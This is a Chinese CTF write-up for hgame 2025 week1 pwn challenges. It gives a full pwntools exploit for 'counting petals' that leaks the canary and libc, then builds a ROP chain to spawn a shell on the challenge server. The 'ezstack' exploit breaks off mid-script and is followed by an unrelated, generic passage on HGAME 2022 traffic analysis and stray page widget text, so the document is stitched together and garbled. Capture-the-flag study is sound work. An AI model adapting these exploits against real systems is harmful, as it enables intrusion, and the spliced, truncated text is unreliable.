[hgame 2025 ]week1 pwn/crypto

一共两周,第一周说难也不难说简单也不简单。

pwn

counting petals

数组v7长度17,输入16时v7[16+1]会发生溢出,溢出到v8,v9,将其改大,会输出canary和libc_start_main_ret的地址。第2次进来覆盖到返回地址写上ROP

from pwn import *
context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')

#p = process('./vuln')
#gdb.attach(p, "b*0x555555555535\nc")
p = remote('node1.hgame.vidar.club', 30788)

p.sendlineafter(b"time?\n", b'16')
for i in range(15):
    p.sendlineafter(b" : ", b'0')

p.sendlineafter(b" : ", str((0x10<<32)+22).encode())
for i in range(6):
    p.sendlineafter(b" : ", b'-')

p.sendlineafter(b"Reply 1 indicates the former and 2 indicates the latter: ", b'1')
p.recvuntil(b"Let's look at the results.\n")
v = p.recvuntil(b"=", drop=True).decode().split(' + ')
print(v)
libc.address = int(v[18]) - 0x29d90
canary = int(v[16])
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
print(f"{libc.address = :x} {canary = :x}")


p.sendlineafter(b"time?\n", b'16')
pay = [0]*15+[(0x10<<32)+22, canary,0,pop_rdi+1,pop_rdi,next(libc.search(b'/bin/sh')), libc.sym['system']]
for i in pay:
    p.sendlineafter(b" : ", str(i).encode())

p.sendlineafter(b"Reply 1 indicates the former and 2 indicates the latter: ", b'1')
p.sendline(b'cat flag')
p.interactive()
#flag{b945024b-f973-497c-30e4-c14722593da5}

ezstack

PIE没开,加载地址已知。溢出正好能覆盖到返回地址。

ssize_t __fastcall vuln(unsigned int a1)
{
  char buf[80]; // [rsp+10h] [rbp-50h] BYREF

  print(a1, &unk_402018);
  print(a1, "That's all.\n");
  print(a1, "Good luck.\n");
  return read(a1, buf, 0x60uLL);
}

先移栈到BSS,再利用0x50的空间写ROP泄露libc再读入后续的ORW

from pwn import *
context(arch='amd64', log_level='debug')

#20.04 focal libc-2.31
libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')

leave_ret = 0x401426
pop_rdi = 0x0000000000401713 
### HGAME 2022 Week1 的网络流量分析 关于 HGAME 2022 Week1 中涉及的网络流量分析相关内容,虽然官方并未提供详细的流量包文件供下载[^1],但从参赛者的经验分享来看,Week1 阶段确实包含了 Web 和 Misc 类型的题目,这些题目可能涉及到基础的网络通信协议解析以及抓包分析技能[^2]。 在网络流量分析方面,通常会使用工具如 Wireshark 或 tcpdump 来捕获和分析 HTTP/HTTPS 请求、DNS 查询或其他类型的网络交互行为。如果比赛中存在需要通过流量分析解密 Flag 的场景,则可以推测其设计思路如下: #### 工具推荐 以下是常用的网络数据分析工具及其功能概述: - **Wireshark**: 图形化界面支持过滤特定协议(HTTP, DNS 等),并能追踪 TCP 流量。 - **tcpdump**: 命令行方式快速获取指定条件下的数据包日志。 #### 技术要点 对于潜在的流量分析挑战,以下几点可能是关键的技术方向: 1. 使用 `tshark` 提取 HTTP POST 请求中的负载字段,查找隐藏的信息片段。 ```bash tshark -r capture.pcapng -Y 'http.request.method == "POST"' -T fields -e data.text ``` 2. 如果加密机制被引入到流量中,尝试识别使用的算法并通过已知明文攻击恢复原始消息。 尽管目前没有具体提及 HGAME 2022 Week1 是否包含专门针对流量分析的任务,但基于 CTF 比赛的一般模式,上述方法论具有较高的适用价值。 ```python import re def extract_payloads(pcap_file_path): """模拟提取PCAP文件内的有效载荷""" with open(pcap_file_path, 'rb') as f: content = f.read() payloads = [] pattern = rb'(?<=Payload: ).*?(?=\n\n)' matches = re.findall(pattern, content) for match in matches: decoded_match = match.decode('utf-8', errors='ignore') payloads.append(decoded_match.strip()) return payloads ```
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值